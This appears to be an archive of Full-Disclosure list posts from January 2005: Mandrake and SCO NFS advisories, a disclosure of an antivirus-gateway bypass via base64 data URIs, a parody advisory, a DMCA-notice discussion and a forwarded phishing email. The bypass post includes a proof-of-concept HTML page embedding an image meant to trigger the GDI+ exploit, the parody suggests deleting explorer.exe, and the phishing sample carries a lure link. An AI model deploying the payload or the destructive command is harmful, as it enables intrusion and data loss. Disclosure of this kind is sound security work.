 Advisory ID:            MDKSA-2005:005
 Date:                   January 11th, 2005

 Affected versions:	 10.0, 10.1, 9.2, Corporate Server 2.1
 ______________________________________________________________________

 Problem Description:

 Arjan van de Ven discovered a buffer overflow in rquotad on 64bit
 architectures; an improper integer conversion could lead to a
 buffer overflow.  An attacker with access to an NFS share could send a
 specially crafted request which could then lead to the execution of
 arbitrary code.
 
 The updated packages are provided to prevent this issue.
 _______________________________________________________________________

 References:

  http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0946
 ______________________________________________________________________

 Updated Packages:
  
 Mandrakelinux 10.0:
 71991bf34674e4bebd4870c24dce4929  10.0/RPMS/nfs-utils-1.0.6-2.2.100mdk.i586.rpm
 1c6231362def3c56d747b3ccc22b7597  10.0/RPMS/nfs-utils-clients-1.0.6-2.2.100mdk.i586.rpm
 bf52589c8d97f63f3024f90a79c201c9  10.0/SRPMS/nfs-utils-1.0.6-2.2.100mdk.src.rpm

 Mandrakelinux 10.0/AMD64:
 28bc6309e5488cd7bf294ae1a4ce68b2  amd64/10.0/RPMS/nfs-utils-1.0.6-2.2.100mdk.amd64.rpm
 ed8b7dfa77200e5badb473678a91bb2a  amd64/10.0/RPMS/nfs-utils-clients-1.0.6-2.2.100mdk.amd64.rpm
 bf52589c8d97f63f3024f90a79c201c9  amd64/10.0/SRPMS/nfs-utils-1.0.6-2.2.100mdk.src.rpm

 Mandrakelinux 10.1:
 bb7161793b2154c3e122adabaed9ed60  10.1/RPMS/nfs-utils-1.0.6-2.2.101mdk.i586.rpm
 e219e85405758a9ef9511eacf4118e07  10.1/RPMS/nfs-utils-clients-1.0.6-2.2.101mdk.i586.rpm
 7510d378225740169ae1a3dbaf0f223f  10.1/SRPMS/nfs-utils-1.0.6-2.2.101mdk.src.rpm

 Mandrakelinux 10.1/X86_64:
 ed70043e2d95cbebc2cd12e0f973a29f  x86_64/10.1/RPMS/nfs-utils-1.0.6-2.2.101mdk.x86_64.rpm
 7c086dfb028423e9105525111194aff5  x86_64/10.1/RPMS/nfs-utils-clients-1.0.6-2.2.101mdk.x86_64.rpm
 7510d378225740169ae1a3dbaf0f223f  x86_64/10.1/SRPMS/nfs-utils-1.0.6-2.2.101mdk.src.rpm

 Corporate Server 2.1:
 cc1b1f4c8232db49f40df9117d2237f8  corporate/2.1/RPMS/nfs-utils-1.0.1-1.3.C21mdk.i586.rpm
 8af58044e57d46921c0ad8745826d1dd  corporate/2.1/RPMS/nfs-utils-clients-1.0.1-1.3.C21mdk.i586.rpm
 9d167452a31fc1e5ef4f43086f0d7b34  corporate/2.1/SRPMS/nfs-utils-1.0.1-1.3.C21mdk.src.rpm

 Corporate Server 2.1/x86_64:
 c7f8d994d4d261d41f6bf246c280fb10  x86_64/corporate/2.1/RPMS/nfs-utils-1.0.1-1.3.C21mdk.x86_64.rpm
 77be17723eb840715500edb3cf8c687b  x86_64/corporate/2.1/RPMS/nfs-utils-clients-1.0.1-1.3.C21mdk.x86_64.rpm
 9d167452a31fc1e5ef4f43086f0d7b34  x86_64/corporate/2.1/SRPMS/nfs-utils-1.0.1-1.3.C21mdk.src.rpm

 Mandrakelinux 9.2:
 00f2319415647d9fa85926cc05271793  9.2/RPMS/nfs-utils-1.0.5-1.2.92mdk.i586.rpm
 680ef7be663350d18ad5b7f94bbc2e21  9.2/RPMS/nfs-utils-clients-1.0.5-1.2.92mdk.i586.rpm
 4a49c7508d166c62b6d76e7c1cccbacd  9.2/SRPMS/nfs-utils-1.0.5-1.2.92mdk.src.rpm

 Mandrakelinux 9.2/AMD64:
 c0e275ce5838575eda14efb2d582aefc  amd64/9.2/RPMS/nfs-utils-1.0.5-1.2.92mdk.amd64.rpm
 779856f22f146342ab6e42c4f20acd95  amd64/9.2/RPMS/nfs-utils-clients-1.0.5-1.2.92mdk.amd64.rpm
 4a49c7508d166c62b6d76e7c1cccbacd  amd64/9.2/SRPMS/nfs-utils-1.0.5-1.2.92mdk.src.rpm
 _______________________________________________________________________

 To upgrade automatically use MandrakeUpdate or urpmi.  The verification
 of md5 checksums and GPG signatures is performed automatically for you.

 All packages are signed by Mandrakesoft for security.  You can obtain
 the GPG public key of the Mandrakelinux Security Team by executing:

  gpg --recv-keys --keyserver pgp.mit.edu 0x22458A98

 You can view other update advisories for Mandrakelinux at:

  http://www.mandrakesoft.com/security/advisories

 If you want to report vulnerabilities, please contact

  security_linux-mandrake.com

 Type Bits/KeyID     Date       User ID
 pub  1024D/22458A98 2000-07-10 Linux Mandrake Security Team
  <security linux-mandrake.com>
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)

iD8DBQFB5F0emqjQ0CJFipgRAg3wAKDBYs/rXJUwddiDT27a+ij2yMOS7QCfY11g
cDdxBS2vNnkYW79o+n63YRk=
=ggoY
-----END PGP SIGNATURE-----


From lists at intrusense.com  Tue Jan 11 19:58:43 2005
From: lists at intrusense.com (Darren Bounds)
Date: Tue, 11 Jan 2005 14:58:43 -0500
Subject: [Full-Disclosure] Multi-vendor AV gateway image inspection bypass
	vulnerability
In-Reply-To: <addc34c605011111146fccd84a@mail.gmail.com>
References: <F873C22A-633A-11D9-97DC-000A95820F5E@intrusense.com>
	<addc34c605011111146fccd84a@mail.gmail.com>
Message-ID: <325D43D2-640B-11D9-8CCD-000A95820F5E@intrusense.com>

Hello Danny,

This vulnerability is only applicable to the HTTP data while in  
transit. Once received by the client the image will be rendered and  
subsequently detected if local AV software.

At the present time, I'm not aware of any AV, IDS or IPS vendor that  
will detect malicious images imbedded in HTML in this manner.


Thank you,

Darren Bounds
Intrusense, LLC.

--
Intrusense - Securing Business As Usual



On Jan 11, 2005, at 2:14 PM, Danny wrote:

> On Mon, 10 Jan 2005 14:08:11 -0500, Darren Bounds
> <dbounds at intrusense.com> wrote:
>> -----BEGIN PGP SIGNED MESSAGE-----
>> Hash: SHA1
>>
>> Multi-vendor AV gateway image inspection bypass vulnerability
>> January 10, 2005
>>
>> A vulnerability has been discovered which allows a remote attacker to
>> bypass anti-virus
>> (as well other security technologies such as IDS and IPS) inspection  
>> of
>> HTTP image content.
>>
>> By leveraging techniques described in RFC 2397 for base64 encoding
>> image content within
>> the URL scheme. A remote attack may encode a malicious image within  
>> the
>> body of an HTML
>> formatted document to circumvent content inspection.
>>
>> For example:
>>
>> http://www.k-otik.com/exploits/09222004.ms04-28-cmd.c.php
>>
>> The source code at the URL above will by default create a JPEG image
>> that will attempt (and fail
>> without tweaking) to exploit the Microsoft MS04-028 GDI+  
>> vulnerability.
>> The image itself is detected
>> by all AV gateway engines tested (Trend, Sophos and McAfee), however,
>> when the same image
>> is base64 encoded using the technique described in RFC 2397  
>> (documented
>> below), inspection
>> is not performed and is delivered rendered by the client.
>>
>> While Microsoft Internet Explorer does not support the RFC 2397 URL
>> scheme; Firefox, Safari,
>> Mozilla and Opera do and will render the data and thus successfully
>> execute the payload if the necessary
>> OS and/or application patches have not been applied.
>>
>> ## BEGIN HTML ##
>>
>> <html>
>> <body>
>> <img
>> src="data:image/gif;base64,/9j/4AAQSkZJRgABAQEAYABgAAD//
>> gAARXhpZgAASUkqAAgAHPD9f0FBQUGWAgAAGgAAABzw
>> / 
>> X9BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUF 
>> B
>> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU 
>> FB
>> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU 
>> FB
>> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU 
>> FB
>> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU 
>> FB
>> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU 
>> FB
>> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU 
>> FB
>> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU 
>> FB
>> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU 
>> FB
>> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU 
>> FB
>> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU 
>> FB
>> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU 
>> FB
>> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU 
>> FB
>> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU 
>> FB
>> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU 
>> FB
>> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU 
>> FB
>> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU 
>> FB
>> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU 
>> FB
>> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQQAAAP/ 
>> bAEMACAYGBwYFCAcHBwkJ
>> CAoMFA0MCwsMGRITDxQdGh8eHRocHCAkLicgIiwjHBwoNyksMDE0NDQfJzk9ODI8LjM0Mv 
>> /b
>> AEMBCQkJDAsMGA0NGDIhHCEyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj 
>> Iy
>> MjIyMjIyMjIyMjIyMv/AABEIAAMAAwMBIgACEQEDEQH/ 
>> xAAfAAABBQEBAQEBAQAAAAAAAAAA
>> AQIDBAUGBwgJCgv/ 
>> xAC1EAACAQMDAgQDBQUEBAAAAX0BAgMABBEFEiExQQYTUWEHInEUMoGR
>> oQgjQrHBFVLR8CQzYnKCCQoWFxgZGiUmJygpKjQ1Njc4OTpDREVGR0hJSlNUVVZXWFlaY2 
>> Rl
>> ZmdoaWpzdHV2d3h5eoOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExc 
>> bH
>> yMnK0tPU1dbX2Nna4eLj5OXm5+jp6vHy8/T19vf4+fr/ 
>> xAAfAQADAQEBAQEBAQEBAAAAAAAA
>> AQIDBAUGBwgJCgv/ 
>> xAC1EQACAQIEBAMEBwUEBAABAncAAQIDEQQFITEGEkFRB2FxEyIygQgU
>> QpGhscEJIzNS8BVictEKFiQ04SXxFxgZGiYnKCkqNTY3ODk6Q0RFRkdISUpTVFVWV1hZWm 
>> Nk
>> ZWZnaGlqc3R1dnd4eXqCg4SFhoeIiYqSk5SVlpeYmZqio6Slpqeoqaqys7S1tre4ubrCw8 
>> TF
>> xsfIycrS09TV1tfY2dri4+Tl5ufo6ery8/T19vf4+fr/2gAMAwEAAhEDEQA/ 
>> APn+iiigD//
>> Z">
>> </body>
>> </html>
>>
>> ## END HTML ##
>>
>> Solution:
>>
>> While AV vendor patches are not yet available, fixes for all currently
>> known image vulnerabilities are
>> and have been for several months.  If you have not yet applied them,
>> you have your own
>> negligence to blame.
>>
>> Contributions:
>>
>> Thanks to Scott Roeder and Jacinto Rodriquez their assistance in
>> platform testing.
>
> I believe TrendMicro's OfficeScan (client-server scanner) will catch
> it, but I am not sure about their gateway device. What was their
> response?
>
> ...D



From please_reply_to_security at sco.com  Wed Jan 12 01:18:11 2005
From: please_reply_to_security at sco.com (please_reply_to_security at sco.com)
Date: Tue, 11 Jan 2005 17:18:11 -0800
Subject: [Full-Disclosure] UnixWare 7.1.4 UnixWare 7.1.3 UnixWare 7.1.1 :
	mountd remote denial of service
Message-ID: <20050111171811.A1845@caldera.com>


-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1



______________________________________________________________________________

			SCO Security Advisory

Subject:		UnixWare 7.1.4 UnixWare 7.1.3 UnixWare 7.1.1 : mountd remote denial of service
Advisory number: 	SCOSA-2005.1
Issue date: 		2005 January 11
Cross reference:	sr892156 fz530479 erg712731 CAN-2004-1039
______________________________________________________________________________


1. Problem Description

	mountd is not enabled by default. But when the NFS mountd service
	is run by inetd, if a NFS mount related request is received
	from the remote (or local) host, inetd will repeatedly
	create the mountd process and as a result increasingly
	consume memory. 

	The Common Vulnerabilities and Exposures project (cve.mitre.org) 
	has assigned the name CAN-2004-1039 to this issue.


2. Vulnerable Supported Versions

	System				Binaries
	----------------------------------------------------------------------
	UnixWare 7.1.4 			/usr/lib/nfs/tmp/mountd
	UnixWare 7.1.3 			/usr/lib/nfs/tmp/mountd
	UnixWare 7.1.1 			/usr/lib/nfs/mountd

3. Solution

	The proper solution is to install the latest packages.

4. UnixWare 7.1.4 / UnixWare 7.1.3

	4.1 Location of Fixed Binaries

	ftp://ftp.sco.com/pub/updates/UnixWare/SCOSA-2005.1

	4.2 Verification

	MD5 (erg712731.pkg.Z) = 69067669ac277725e8665ac02f955607

	md5 is available for download from
		ftp://ftp.sco.com/pub/security/tools

	4.3 Installing Fixed Binaries

	Upgrade the affected binaries with the following sequence:

	Download erg712731.pkg.Z to the /var/spool/pkg directory

	# uncompress /var/spool/pkg/erg712731.pkg.Z
	# pkgadd -d /var/spool/pkg/erg712731.pkg


5. UnixWare 7.1.1

	5.1 Location of Fixed Binaries

	ftp://ftp.sco.com/pub/updates/UnixWare/SCOSA-2005.1


	5.2 Verification

	MD5 (erg712731.711.pkg.Z) = 4f7e3bba1e5381e28bef0894dc1d9ec1

	md5 is available for download from
		ftp://ftp.sco.com/pub/security/tools


	5.3 Installing Fixed Binaries

	Upgrade the affected binaries with the following sequence:

	Download erg712731.711.pkg.Z to the /var/spool/pkg directory

	# uncompress /var/spool/pkg/erg712731.711.pkg.Z
	# pkgadd -d /var/spool/pkg/erg712731.711.pkg


6. References

	Specific references for this advisory:
		http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1039
		http://www.nilesoft.co.kr/

	SCO security resources:
		http://www.sco.com/support/security/index.html

	SCO security advisories via email
		http://www.sco.com/support/forums/security.html

	This security fix closes SCO incidents sr892156 fz530479
	erg712731.


7. Disclaimer

	SCO is not responsible for the misuse of any of the information
	we provide on this website and/or through our security
	advisories. Our advisories are a service to our customers
	intended to promote secure installation and use of SCO
	products.


8. Acknowledgments

	SCO would like to thank Yun Jonglim a security researcher
	of NileSOFT, Ltd (www.nilesoft.co.kr) for reporting this
	issue.

______________________________________________________________________________

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.0 (SCO/UNIX_SVR5)

iD8DBQFB5GoCaqoBO7ipriERAkkJAJ4xVCkfRughdxUAYyXba4+w53f1mgCfZG5h
67uBgt3Pg945OMT262BZYZ0=
=SBR9
-----END PGP SIGNATURE-----


From vh at helith.net  Wed Jan 12 00:35:38 2005
From: vh at helith.net (vh)
Date: Wed, 12 Jan 2005 01:35:38 +0100
Subject: [Full-Disclosure] MORE CRITICAL FLAWS IN MS WINDOWS EXPLORER
In-Reply-To: <20050111225204.5DD45416118@ws5-2.us4.outblaze.com>
References: <20050111225204.5DD45416118@ws5-2.us4.outblaze.com>
Message-ID: <20050112013538.17136474.vh@helith.net>

On Wed, 12 Jan 2005 06:52:04 +0800
"Team Pwnge" <team_pwn4ge at outgun.com> wrote:

> - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
> - TEAM PWN4GE Security Advisory                                    
> PWNED- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
> - - -
> 
>   Severity: HIGH
>      Title: EXPLORER: Vulnerability in all versions of Windows
>      Explorer
>       Date: January 11, 2005
> 
> - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
> -
> 
> Synopsis
> ========
> 
> Multiple overflows have been found in Windows Explorer, potentially
> allowing a remote user to open Explorer and run files remotely.
> 
> 
> Background
> ==========
> 
> Windows Explorer is an advanced browsing tool made by Microsoft. It
> is used in daily tasks to open folders, copy files, delete files,
> rename files and view files on a system. It is the foundation of the
> World Wide Web and used by billions worldwide. It runs on an array of
> machines.
> 
> 
> Affected versions
> =================
> 
> All versions of Windows' Explorer are vulnerable
> 
> Description
> ===========
> 
> Shogun Suzuki discovered that a remote user can connect to any
> machine via numerous exploits and use Windows Explorer to view files,
> rename files, delete files, change permissions on files stored on a
> remote machine that has been pwned.
> 
> Impact
> ======
> 
> A remote attacker could install something similar to PCAnywhere
> after exploiting Windows and use Windows' Explorer to view, copy
> and or open any file on a victims machine.
> 
> Workaround
> ==========
> 
> On a command prompt: del C:\WINDOWS\explorer.exe

Isn't explorer the program wich "shows" you the desktop?
Just a clue: Use Open-, Net- or FreeBSD.
These OSs are good enought for all normal tasks you've to do.

Real Workaround: Change the OS 
There's no other way or you like to wait
5 months for a patch. You've to wait at least 4 weeks because MS don#t
provide patches just because there's something critical. Oh no.. they've
their "Patch-Day". Something like a game-show but even more worse
because you don't get patches for all holes even you did everything
right.

> License
> =======
> 
> Copyright 2005 TEAM PWN4GE
> 
> The contents of this document are licensed under the
> Creative Commons - Attribution / Share Alike license.

Mails are FREE...
But sometimes Linux-Users need licenses for everything...


From kkadow at gmail.com  Wed Jan 12 01:16:25 2005
From: kkadow at gmail.com (Kevin)
Date: Tue, 11 Jan 2005 19:16:25 -0600
Subject: [Full-Disclosure] MediaSentry false positives?
In-Reply-To: <87y8f8f5li.fsf@deneb.enyo.de>
References: <dc718edc050104212217392af6@mail.gmail.com>
	<87y8f8f5li.fsf@deneb.enyo.de>
Message-ID: <dc718edc05011117163af7000e@mail.gmail.com>

On Wed, 05 Jan 2005 13:00:41 +0100, Florian Weimer <fw at deneb.enyo.de> wrote:
> Kevin Kadow wrote:
> > Has anybody received "Notice of claimed infringement" from MediaSentry
> > for IP addresses which, while registered to you or your organization,
> > are in a range not actively in use?
> 
> I've independently received another report of this problem.
> 
> > I see two likely possibilities -- either MediaSentry is not using due
> > diligence in verifying that the material for which they send
> > infringement notices is actually shared from the address they show in
> > the complaint,  or somebody on the Internet is spoofing BGP route
> > announcements for unused address space out of larger allocations.
> 
> RIPE doesn't have an announcement of the prefix, so I think
> MediaSentry was in error.
> 
> I don't think it makes sense for MediaSentry to check their findings
> more closely from a business perspective.  They don't try to download
> the infringing material to confirm that redistribution actually takes
> place, either.

Sounds like an opportunity to take down MediaSentry.

The "takedown" notices state the following:

] On behalf of <copyright holder>, owner of the exclusive rights to the
] copyrighted material at issue in this notice, we hereby state, that
] we have a good faith belief that use of the material in the manner
] complained of is not authorized by <copyright holder>, its respective
] agents, or the law.
]
] Also, we hereby state, under penalty of perjury, under the laws of
] the State of California and under the laws of the United States, that the
] information in this notification is accurate and that we are authorized 
] to act on behalf of the owner of the exclusive rights being infringed
] as set forth in this notification.

Given the references to "good faith" and "perjury" in the above text,
if the data collection methods employed by MediaSentry are
demonstrably faulty, falsely implicate source IP addresses not
actually participating in file sharing (not a spoofed BGP route,
rather a bogus entry in the Kazaa or eDonkey indexes showing the wrong
source IP), MediaSentry may no longer be protected by the "good faith"
clause?

Kevin


From randallm at fidmail.com  Wed Jan 12 01:56:17 2005
From: randallm at fidmail.com (RandallM)
Date: Tue, 11 Jan 2005 19:56:17 -0600
Subject: [Full-Disclosure] RE: Full-Disclosure: Interesting but suspicious
	possible phishing mail
In-Reply-To: <200501111334.j0BDYZ9f008427@lists.netsys.com>
Message-ID: <200501120156.j0C1uCrs005908@lists.netsys.com>

Have been getting a number of these come thru also at work. 
Of course all the users are asking me questions about these.
They all have the strange words, paragraphs, and questions like this one.
They really got my attention. I at first thought they were hidden messages
but
Not so as the one we receive come as text. 

thank you
Randall M
 
 

<|>------------------------------
<|>
<|>Message: 4
<|>Date: Tue, 11 Jan 2005 02:27:55 +0000
<|>From: "DAN MORRILL" <dan_20407 at msn.com>
<|>Subject: [Full-Disclosure] Interesting but suspicious possible
<|>	phishing mail
<|>To: full-disclosure at lists.netsys.com
<|>Message-ID: <BAY3-F6DFC3B80597953B0FA3E1C0880 at phx.gbl>
<|>Content-Type: text/plain; format=flowed
<|>
<|>Hi folks,
<|>
<|>Got this really interesting mail in my box today, and 
<|>knowing that I haven't 
<|>used that e-mail address or ordered anything on line lately. 
<|>Wondering if it 
<|>might not be a phishing e-mail. Haven't seen anything like 
<|>this before. 
<|>Anyone see anything similar?
<|>r/
<|>Dan
<|>
<|>
<|>
<|>from :  Gabrielle U. Philips, Jr <gbhclayddnoglk at safe-mail.net>
<|>Sent :  Monday, January 10, 2005 10:40 PM
<|>To :  "Gabrielle U. Philips, Jr" <MickeyandSnake7tit at safe-mail.net>
<|>CC :  mdamon at qwest.net, mdamore at qwest.net, mdan12 at qwest.net, 
<|>mdan22 at qwest.net, mdan32 at qwest.net
<|>Subject :  Shipping Notification, Tracking Number : 
<|>TCD461649887242ESB
<|>
<|>MIME-Version: 1.0
<|>Received: from msnmail2.uswest.net ([63.226.138.22]) by 
<|>mc10-f38.hotmail.com 
<|>with Microsoft SMTPSVC(6.0.3790.211); Mon, 10 Jan 2005 14:45:54 -0800
<|>Received: (qmail 72801 invoked by uid 0); 10 Jan 2005 22:45:55 -0000
<|>Received: from unknown (63.226.138.18) by 
<|>msnmail2.uswest.net with QMQP; 10 
<|>Jan 2005 22:45:55 -0000
<|>Received: (qmail 56089 invoked by uid 0); 10 Jan 2005 22:45:55 -0000
<|>Received: from 42-171-64.adsl.cust.tie.cl (200.42.171.64) by 
<|>mpls-cmx-12.inet.qwest.net with SMTP; 10 Jan 2005 22:45:42 -0000
<|>X-Message-Info: JGTYoYF78jHm2Kmrh/becsOSGajhcE+aqhdcaXLDOFI=
<|>Delivered-To: mdan12 at qwest.net
<|>X-DCC-Qwest.net-Metrics: mpls-cmx-12.inet.qwest.net 1210; Body=4 
<|>Fuz1=4Fuz2=4
<|>Return-Path: ihgeclhtquoqdm at gawab.com
<|>X-OriginalArrivalTime: 10 Jan 2005 22:45:54.0814 (UTC) 
<|>FILETIME=[24BA71E0:01C4F766]
<|>
<|>
<|>
<|>
<|>Content-Type: multipart/mixed; 
<|>boundary="-----mpls-cmx-12.inet.qwest.net-1105397155-56110"
<|>
<|>
<|>Content-Type: text/plain
<|>
<|>
<|>This email was forwarded from your previous Qwest.net email address
<|>to your MSN email address.  To discontinue email forwarding for any
<|>future emails sent to your previous Qwest.net email address, please
<|>contact MSN Customer Service.
<|>
<|>
<|>
<|>
<|>
<|>Content-Type: message/rfc822
<|>Content-Description: forwarded message
<|>Content-Transfer-Encoding: 8bit
<|>Content-Disposition: inline
<|>
<|>
<|>From: Gabrielle U. Philips, Jr <gbhclayddnoglk at safe-mail.net>
<|>To: "Gabrielle U. Philips, Jr" <MickeyandSnake7tit at safe-mail.net>
<|>Cc: mdamon at qwest.net, mdamore at qwest.net, mdan12 at qwest.net, 
<|>mdan22 at qwest.net, 
<|>mdan32 at qwest.net
<|>Subject: Shipping Notification, Tracking Number : TCD461649887242ESB
<|>Sent: Monday, January 10, 2005 10:40 PM
<|>MIME-Version: 1.0
<|>Received: (qmail 56089 invoked by uid 0); 10 Jan 2005 22:45:55 -0000
<|>Received: from 42-171-64.adsl.cust.tie.cl (200.42.171.64) by 
<|>mpls-cmx-12.inet.qwest.net with SMTP; 10 Jan 2005 22:45:42 -0000
<|>X-DCC-Qwest.net-Metrics: mpls-cmx-12.inet.qwest.net 1210; Body=4 
<|>Fuz1=4Fuz2=4 Content-Type: multipart/alternative; 
<|>boundary="--Part_GRKDac7J6.oMXawOLoYO4"
<|>
<|>
<|>Content-Type: text/html; format=flowed; charset=iso-8859-15
<|>Content-Transfer-Encoding: quoted-printable
<|>
<|>Check your status Below:
<|>
<|>cov2pa.com/track.asp?cg=1&c=tc
<|>
<|>The illiterate of the 21st century will not be those who 
<|>cannot read and 
<|>write, but those who cannot learn, unlearn, and relearn. 
<|>Alvin Toffler
<|>Those police officers are practicing driving between the two 
<|>buildings.
<|>The illiterate of the 21st century will not be those who 
<|>cannot read and 
<|>write, but those who cannot learn, unlearn, and relearn. 
<|>Alvin Toffler
<|>Haven't the photographers already disliked praying?
<|>Few things are harder to put up with than the annoyance of a 
<|>good example.
<|>3
<|>When people are free to do as they please, they usually 
<|>imitate each other. 
<|>-Eric Hoffer (1902-1983)
<|>Have you already loved sleeping?
<|>



From stevenrakick at yahoo.com  Wed Jan 12 02:56:00 2005
From: stevenrakick at yahoo.com (Steven Rakick)
Date: Tue, 11 Jan 2005 18:56:00 -0800 (PST)
Subject: [Full-Disclosure] Multi-vendor AV gateway image inspection bypass
	vulnerability
Message-ID: <20050112025600.45073.qmail@web53206.mail.yahoo.com>

At this point I have no choice by to agree. 

So far I've had an opportunity to test this with Check
Point Interspect and McAfee IntruShield. Like you
said, (in my lab) both detected and block the
malicious image when it was formatted without RFC
2397, but when base64 encoded they were downloaded and
excuted there attack.

Basically it's looking like no security companies are
looking at data formatted in this fashion. I'm not
sure but it seems like you can probably transfer
anything you'd like by just changing the content type
and your anti-virus, IDS, application firewall or
whatever you're using at the network level would be
completely oblivious.






On Tue, 11 Jan 2005 14:58:43 -0500, Darren Bounds
<lists at intrusense.com> wrote:
> Hello Danny,
> 
> This vulnerability is only applicable to the HTTP
data while in
> transit. Once received by the client the image will
be rendered and
> subsequently detected if local AV software.
> 
> At the present time, I'm not aware of any AV, IDS or
IPS vendor that
> will detect malicious images imbedded in HTML in
this manner.
> 
> 
> Thank you,
> 
> Darren Bounds
> Intrusense, LLC.
> 
> --
> Intrusense - Securing Business As Usual
> 
> On Jan 11, 2005, at 2:14 PM, Danny wrote:
> 
> > On Mon, 10 Jan 2005 14:08:11 -0500, Darren Bounds
> > <dbounds at intrusense.com> wrote:
> >> -----BEGIN PGP SIGNED MESSAGE-----
> >> Hash: SHA1
> >>
> >> Multi-vendor AV gateway image inspection bypass
vulnerability
> >> January 10, 2005
> >>
> >> A vulnerability has been discovered which allows
a remote attacker to
> >> bypass anti-virus
> >> (as well other security technologies such as IDS
and IPS) inspection
> >> of
> >> HTTP image content.
> >>
> >> By leveraging techniques described in RFC 2397
for base64 encoding
> >> image content within
> >> the URL scheme. A remote attack may encode a
malicious image within
> >> the
> >> body of an HTML
> >> formatted document to circumvent content
inspection.
> >>
> >> For example:
> >>
> >>
http://www.k-otik.com/exploits/09222004.ms04-28-cmd.c.php
> >>
> >> The source code at the URL above will by default
create a JPEG image
> >> that will attempt (and fail
> >> without tweaking) to exploit the Microsoft
MS04-028 GDI+
> >> vulnerability.
> >> The image itself is detected
> >> by all AV gateway engines tested (Trend, Sophos
and McAfee), however,
> >> when the same image
> >> is base64 encoded using the technique described
in RFC 2397
> >> (documented
> >> below), inspection
> >> is not performed and is delivered rendered by the
client.
> >>
> >> While Microsoft Internet Explorer does not
support the RFC 2397 URL
> >> scheme; Firefox, Safari,
> >> Mozilla and Opera do and will render the data and
thus successfully
> >> execute the payload if the necessary
> >> OS and/or application patches have not been
applied.
> >>
> >> ## BEGIN HTML ##
> >>
> >> <html>
> >> <body>
> >> <img
> >>
src="data:image/gif;base64,/9j/4AAQSkZJRgABAQEAYABgAAD//
> >> gAARXhpZgAASUkqAAgAHPD9f0FBQUGWAgAAGgAAABzw
> >> /
> >>
X9BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUF
> >> B
> >>
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU
> >> FB
> >>
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU
> >> FB
> >>
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU
> >> FB
> >>
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU
> >> FB
> >>
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU
> >> FB
> >>
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU
> >> FB
> >>
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU
> >> FB
> >>
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU
> >> FB
> >>
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU
> >> FB
> >>
